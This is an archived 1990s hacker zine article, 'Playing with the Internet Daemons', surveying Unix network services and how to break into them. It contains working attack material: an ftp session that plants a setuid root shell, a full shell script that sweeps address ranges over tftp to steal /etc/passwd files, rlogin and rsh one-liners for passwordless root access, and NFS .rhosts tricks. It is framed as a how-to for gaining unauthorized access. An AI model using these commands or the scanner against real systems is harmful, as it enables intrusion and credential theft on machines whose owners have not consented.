home *** CD-ROM | disk | FTP | other *** search
/ Hacker's Arsenal - The Cutting Edge of Hacking / Hacker's Arsenal - The Cutting Edge of Hacking.iso / texts / misc / demonhck.txt < prev    next >
Encoding:
Text File  |  2001-07-11  |  16.5 KB  |  419 lines

  1. :Taken from CoTNO 6:
  2.  
  3. <CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>                                 
  4.  
  5.                   
  6.  
  7.                   Playing with the Internet Daemons
  8.  
  9.                                 by
  10.  
  11.                            Voyager [TNO]
  12.  
  13.  
  14. Internet hosts communicate with each other using either TCP
  15. (Transmission Control Protocol) or UDP (User Datagram Protocol) on top
  16. of IP (Internet Protocol).  Other protocols are used on top of IP, but
  17. TCP and UDP are the ones that are of interest to us.  On a Unix system,
  18. the file /etc/protocols will list the available protocols on your
  19. machine
  20.  
  21. On the Session Layer (OSI model) or the Internet Layer (DOD Protocol
  22. Model) data is moved between hosts by using ports.  Each data
  23. communication will have a source port number and a destination port
  24. number.  Port numbers can be divided into two types, well-known ports
  25. and dynamically allocated ports.  Under Unix, well-known ports are
  26. defined in the file /etc/services.  In addition, RFC (Request For
  27. Comments) 1700 "Assigned Numbers" provides a complete listing of all
  28. well-known ports.  Dynamically allocated port numbers are assigned as
  29. needed by the system.
  30.  
  31. Unix provides the ability to connect programs called daemons to
  32. well-known ports.  The remote computer will connect to the well-known
  33. port on the host computer, and be connected to the daemon program.
  34.  
  35. Daemon programs are traditionally started by inetd (The Internet
  36. Daemon).  Daemon programs to be executed are defined in the inetd
  37. configuration file, /etc/inetd.conf.
  38.  
  39. Most of these daemons run as a priveledged user, often as root.  Many of
  40. these programs have vulnerabilities which can be exploited to gain access
  41. to remote systems.
  42.  
  43. The daemons we are interested in are:
  44.  
  45.         Service          Port Number    Description
  46.         ~~~~~~~~~~~~~    ~~~~~~~~~~~    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  47.         ftp              21             File Transfer [Control]
  48.         smtp             25             Simple Mail Transfer Protocol
  49.         tftp             69             Trivial File Transfer Protocol
  50.         finger           79             Finger
  51.         www-http         80             World Wide Web HTTP
  52.         sunrpc          111             SUN Remote Procedure Call
  53.         fln-spx         221             Berkeley rlogind with SPX auth
  54.         rsh-spx         222             Berkeley rshd with SPX auth
  55.         netinfo         716-719         NetInfo
  56.         ibm-res         1405            IBM Remote Execution Starter
  57.         nfs             2049            Network File System
  58.         x11             6000-6063       X Window System
  59.  
  60.         rcp/rshd                        Remote Copy/Remote Shell Daemon
  61.         nis                             Network Information Services
  62.  
  63.  
  64.  
  65.  
  66.  
  67. The next part of this article will focus on specific daemons and their
  68. known vulnerabilities.  The vulnerabilities with brief explanations will be
  69. explained here.  For the more complicated exploits, which are beyond the
  70. scope of a concise article, more research will be required on the part of
  71. the reader.
  72.  
  73.  
  74.  
  75.  --> ftp              21    File Transfer [Control]
  76.  
  77. FTP is the File Transfer Protocol.  FTP requests are answered by the FTP
  78. daemon, ftpd.  wuarchive's ftpd versions below 2.2 have a vulnerability
  79. where you can execute any binary you can see with the 'site exec'
  80. command by calling it with a relative pathname with "../" at the
  81. beginning.  Here is a sample exploit:
  82.  
  83. Login to the system via ftp:
  84.  
  85.         220 uswest.com FTP server (Version wu-2.1(1) ready.
  86.         Name (uswest.com:waltman): waltman
  87.         331 Password required for waltman.
  88.         Password: jim
  89.         230 User waltman logged in.
  90.         Remote system type is UNIX.
  91.         Using binary mode to transfer files.
  92.         ftp> quote "site exec cp /bin/sh /tmp/.tno"
  93.         200-cp /bin/sh /tmp/tno
  94.         ftp> quote "site exec chmod 6755 /tmp/.tno"
  95.         200-chmod 6755 /tmp/tno
  96.         ftp> quit
  97.         221 Goodbye.
  98.  
  99.  
  100.  
  101. --> smtp             25    Simple Mail Transfer Protocol
  102.  
  103. Mail attacks are one of the oldest known methods of attacking Internet
  104. hosts.  The most common mail daemon, and least secure, is sendmail. Other
  105. mail daemons include smail, MMDF,and IDA sendmail.  Sendmail has had too
  106. many vulnerabilities to list them all.  There is an entire FAQ written
  107. specifically on sendmail vulnerabilities, therefore we will not cover them
  108. heavily here.
  109.  
  110. One well known vulnerability, useful only for historical purposes, is
  111. "Wizard Mode."  In Wizard mode you could request a shell via Port 25
  112. (The SMTP port).  No modern system will be vulnerable to this attack.  To
  113. exploit this vulnerability, you telnetted to port 25, typed WIZ to enter
  114. Wizard mode, and entered the password.  The problem related to the way
  115. the encrypted password was stored.  There was a bug that caused the
  116. system to believe that no password was as good as the real password.
  117.  
  118. To quote Steven Bellovin:
  119.  
  120.         The intended behavior of wizard mode was that if you supplied
  121.         the right password, some other non-standard SMTP commands were
  122.         enabled, notably one to give you a shell.  The hashed password
  123.         -- one-way encrypted exactly as per /etc/passwd -- was stored in
  124.         the sendmail configuration file.  But there was this bug; to
  125.         explain it, I need to discuss some arcana relating to sendmail
  126.         and the C compiler.
  127.  
  128.         In order to save the expense of reading and parsing the
  129.         configuration file each time, sendmail has what's known as a
  130.         ``frozen configuration file''.  The concept is fine; the
  131.         implementation isn't.  To freeze the configuration file,
  132.         sendmail just wrote out to disk the entire dynamic memory area
  133.         (used by malloc) and the `bss' area -- the area that took up no
  134.         space in the executable file, but was initialized to all zeros
  135.         by the UNIX kernel when the program was executed.  The bss area
  136.         held all variables that were not given explicit initial values
  137.         by the C source. Naturally, when delivering mail, sendmail just
  138.         read these whole chunks back in, in two giant reads.  It was
  139.         therefore necessary to store all configuration file information
  140.         in the bss or malloc areas, which demanded a fair amount of care
  141.         in coding.
  142.  
  143.         The wizard mode password was stored in malloc'ed memory, so it
  144.         was frozen properly.  But the pointer to it was explicitly set
  145.         to NULL in the source:
  146.  
  147.         char    *wiz = NULL;
  148.  
  149.         That meant that it was in the initialized data area, *not* the
  150.         bss. And it was therefore *not* saved with the frozen
  151.         configuration.  So -- when the configuration file is parsed and
  152.         frozen, the password is read, and written out.  The next time
  153.         sendmail is run, though, the pointer will be reset to NULL.
  154.         (The password is present, of course, but there's no way to find
  155.         it.)  And the code stupidly believed in the concept of no
  156.         password for the back door.
  157.  
  158.         One more point is worth noting -- during testing, sendmail did
  159.         the right thing with wizard mode.  That is, it did check the
  160.         password -- because if you didn't happen to do the wizard mode
  161.         test with a frozen configuration file -- and most testing would
  162.         not be done that way, since you have to refreeze after each
  163.         compilation -- the pointer would be correct.
  164.  
  165.  
  166.  
  167.  --> tftp             69    Trivial File Transfer Protocol
  168.  
  169. tftp is the Trivial File Transfer Protocol.  tftp is most often used to
  170. attempt to grab password files from remote systems.  tftp attacks are so
  171. simple and repetitive that scripts are written to automate the process
  172. of attacking entire domains.  Here is one such script:
  173.  
  174.    #!/bin/sh
  175.    ########################################################################
  176.    #                     TFTP snagger by Yo
  177.    # It snags /etc/passwd files from all hosts with open 69 (tftp) port.
  178.    # scans all hosts from XX.XX.0.0 - XX.XX.255.255
  179.    # you can run it in the background in following way:
  180.    #                snag [hostname] > /dev/null &
  181.    #     [hostname] might be used IP # (with -ip option) as well as FQDN
  182.    #                   Last Updated 10/20/92
  183.    #
  184.    #            Highly modified by ThePublic on 10/21/92
  185.    ########################################################################
  186.    case $1 in
  187.     '')
  188.      echo " Usage: $0 [hostname]  to run in the foreground                    "
  189.      echo "        $0 [hostname] > /dev/null & to run in the background       "
  190.      echo " The [hostname] can be specialized in fully qualified domain name  "
  191.      echo " i.e.- $0 nyx.cs.du.edu - and it'll scan all du.edu domain.        "
  192.      echo " as well as IP with -ip option.                                    "
  193.       exit 1
  194.       ;;
  195.     -ip)
  196.     if [ $2x = x ]; then
  197.      echo " Usage: $0 $1 the IP "
  198.      exit 1
  199.       else
  200.           x=`echo $2 | cut -d. -f1`
  201.          xx=`echo $2 | cut -d. -f2`
  202.         xxx=`echo $2 | cut -d. -f3`
  203.        xxxx=`echo $2 | cut -d. -f4`
  204.    #                        ^ field delimiter is '.' -- get field 1/2/3/4
  205.     fi;;
  206.      *)
  207.    if [ ! -f /usr/ucb/nslookup ] && [ ! -f /usr/local/bin/nslookup ]; then
  208.                                   # -x is for SunOs
  209.     echo sorry dude, no nslookup server .. try it with -ip option.
  210.    exit 1
  211.    fi
  212.    x1=`nslookup $1 | fgrep "Address" | cut -c11-17 | tail -1`
  213.    #                                          ^ 7 chars   ^ last line
  214.    if [ "$x1" = '' ]; then
  215.    echo " There is no such domain. Nothing to scan. Exit. "
  216.    exit 1
  217.    fi
  218.       x=`echo $x1 | cut -d. -f1`  # get the first set of #, ##, or ###
  219.      xx=`echo $x1 | cut -d. -f2`  # get the second set
  220.     xxx=0                         # ignore the rest, if any
  221.    xxxx=0
  222.       ;;
  223.     esac
  224.    if [ $x -lt 1 ] || [ $x -ge 255 ] || [ $xx -lt 1 ] || [ $xx -ge 255 ]; then
  225.     echo There is no such domain. Nothing to scan.
  226.    exit 1
  227.    fi
  228.    while [ $x -ne 255 ]; do
  229.  
  230.    while [ $xx -ne 255 ]; do
  231.    while [ $xxx -ne 255 ]; do
  232.    while [ $xxxx -ne 255 ]; do
  233.    target=$x.$xx.$xxx.$xxxx
  234.    trap "echo The Process was stopped at $target;rm -rf passwd.$target; exit 1" 2
  235.    tftp << EOF
  236.    c $target
  237.    mode ascii
  238.    trace
  239.    get /etc/passwd passwd.$target
  240.    quit
  241.    EOF
  242.    if [ ! -s passwd.$target ]  ; then
  243.     rm -rf passwd.$target
  244.    echo `date`  $target has rejected an attempt >> .info
  245.      else
  246.      mv passwd.$target  .good.$target
  247.        echo `date` $target is taken, all data is stored in .good.$target file >> .info
  248.     fi
  249.     xxxx=`expr $xxxx + 1 `
  250.    done
  251.    xxxx=0
  252.    xxx=`expr $xxx + 1 `
  253.    done
  254.    xxx=0
  255.    xx=`expr $xx + 1 `
  256.    done
  257.    xx=0
  258.    x=`expr $x + 1 `
  259.    done
  260.  
  261.  
  262.  
  263.  --> finger           79    Finger
  264.  
  265. The finger command displays information about another user, such as login
  266. name, full name, terminal name, idle time, login time, and location if
  267. known.  finger requests are answered by the fingerd daemon.
  268.  
  269. Robert Tappan Morris's Internet Worm used the finger daemon.  The finger
  270. daemon allowed up to 512 bytes from the remote machine as part of the
  271. finger request.  fingerd, however, suffered from a buffer overflow bug
  272. caused by a lack proper bounds checking.  Anything over 512 got
  273. interpreted by the machine being fingered as an instruction to be
  274. executed locally, with whatever privileges the finger daemon had.
  275.  
  276.  
  277.  
  278.  --> www-http         80    World Wide Web HTTP
  279.  
  280. HTML (HyperText Markup Language) allows web page user to execute
  281. programs on the host system.  If the web page designer allows the web
  282. page user to enter arguments to the commands, the system is vulnerable
  283. to the usual problems associated with system() type calls.  In addition,
  284. there is a vulnerability that under some circumstances will give you an
  285. X-Term using the UID that the WWW server is running under.
  286.  
  287.  
  288.  
  289.  --> sunrpc          111    SUN Remote Procedure Call
  290.  
  291. Sun RPC (Remote Procedure Call) allows users to execute procedures on
  292. remote hosts.  RPC has suffered from a lack of secure authentification.
  293. To exploit RPC vulnerabilities, you should have a program called "ont"
  294. which is not terribly difficult to find.
  295.  
  296.  
  297.  
  298.  --> login           513   Remote login
  299.  
  300. Some versions of AIX and Linux suffer from a bug in the way that
  301. rlogind reads arguments.  To exploit this vulnerability, issue this
  302. command from a remote system:
  303.  
  304. rlogin host -l -froot
  305.  
  306. Where host is the name of the target machine and username is the username
  307. you would like to rlogin as (usully root).  If this bug exists on the
  308. hosts system, you will be logged in, without being asked for a password.
  309.  
  310.  
  311.  
  312.  --> rsh-spx         222    Berkeley rshd with SPX auth
  313.  
  314. Some versions of Dynix and Irix have a bug in rshd that allows you to
  315. run commands as root.  To exploit this vulnerability, issue this command
  316. from the remote system:
  317.  
  318. rsh host -l "" /bin/sh
  319.  
  320.  
  321.  
  322.  --> netinfo         716-719    NetInfo
  323.  
  324. NeXT has implemented a protocol known as NetInfo so that one NeXT
  325. machine can query another NeXT machine for information.  A NetInfo
  326. server will by default allow unrestricted access to system databases.
  327. This can be fixed by the System Administrator.  One of the pieces of
  328. information netinfo will give up is the password file.
  329.  
  330.  
  331.  
  332.  --> ibm-res         1405   IBM Remote Execution Starter
  333.  
  334. rexd (the remote execution daemon) allows you to execute a program on
  335. another Unix machine.  AIX, NeXT and HPUX versions of rexd have suffered
  336. from a vulnerability allowing unintended remote execution. The rexd
  337. daemon checks your uid on the machine you are coming from, therefore you
  338. must be root on the machine you are mounting the rexd attack from.  To
  339. determine if your target machine is running rexd, use the 'rcp -p
  340. <target>' command.  You will also need the exploit program known as 'on'
  341. which is available on fine H/P boards everywhere.
  342.  
  343.  
  344.  
  345.  --> nfs             2049            Network File System
  346.  
  347. NFS, the Network File System, from Sun Microsystems has suffered from
  348. multiple security vulnerabilities.  In addition, many system
  349. administrators configure NFS incorrectly, allowing unintended remote
  350. access.
  351.  
  352. Using the command 'showmount -e <target>' you can view what file systems
  353. are exported from a machine.  Many administrators allow read access to
  354. the /etc directory, allowing you to copy the password file. Other
  355. administrators allow write access to user directories, allowing you to
  356. create .rhosts files and gain access to the machine via rlogin or rsh.
  357.  
  358. In addition to configuration issues, NFS is vulnerable to attacks using
  359. a uid masking bug, a mknod bug, and a general file handle guessing
  360. attack.  Several hacked versions of the mount command have been written
  361. to exploit known vulnerabilities.
  362.  
  363.  
  364.  
  365.  --> x11             6000-6063       X Window System
  366.  
  367. X-Windows has suffered and currently suffers from numerous
  368. vulnerabilities. One vulnerability allows you to access another users
  369. display, another allows you to view another users keystrokes.  Another
  370. vulnerability allows a remote attacker to run every program that the
  371. root user starts in his or her .xsession file.  Yet another X-Windows
  372. vulnerability allows a local user to create a root entry in the
  373. /etc/passwd file.
  374.  
  375.  
  376.  
  377.  --> rcp
  378.  
  379. The SunOS 4.0.x rcp utility can be exploited by any trusted host listed
  380. in /etc/hosts.equiv or /.rhosts.  To exploit this hole you must be
  381. running NFS (Network File System) on a Unix system or PC/NFS on a DOS
  382. system.
  383.  
  384.  
  385.  
  386.  --> NIS
  387.  
  388. Sun's NIS (Network Information Service) also known as yp (Yellow Pages)
  389. has a vulnerability where you can request an NIS map from another NIS
  390. domain if you know the NIS domain name of the target system.  There is
  391. no way to query a remote system for it's NIS domainname, but many NIS
  392. domain names are easily guessable.  The most popular NIS map to request
  393. is passwd.byname, the NIS implementation of /etc/passwd.  In addition,
  394. if you have access to a diskless Unix workstation, you can determine the
  395. NIS domain name of the server it boots from.
  396.  
  397.         +--------------------------------------------------------+
  398.         + Do not confuse NIS domain names with DNS domain names! |
  399.         +--------------------------------------------------------+
  400.  
  401.  
  402.  
  403.  --> Other attacks
  404.  
  405. In addition to these daemon based attacks, many other methods can be
  406. used to gain access to a remote computer.  These include, but are not
  407. limited to: default accounts, password guessing, sniffing, source
  408. routing, DNS routing attacks, tcp sequence prediction and uucp
  409. configuration exploits.
  410.  
  411. This should give you an idea on how daemon based attacks function.  By
  412. no means is this a complete list of security vulnerabilities in
  413. privileged internet daemons.  To discover more information about how
  414. these daemons operate, and how to exploit their vulnerabilities, I
  415. highly recommend reading source code, man pages and RFC's.
  416.  
  417.  
  418.                                                         Voyager[TNO]
  419.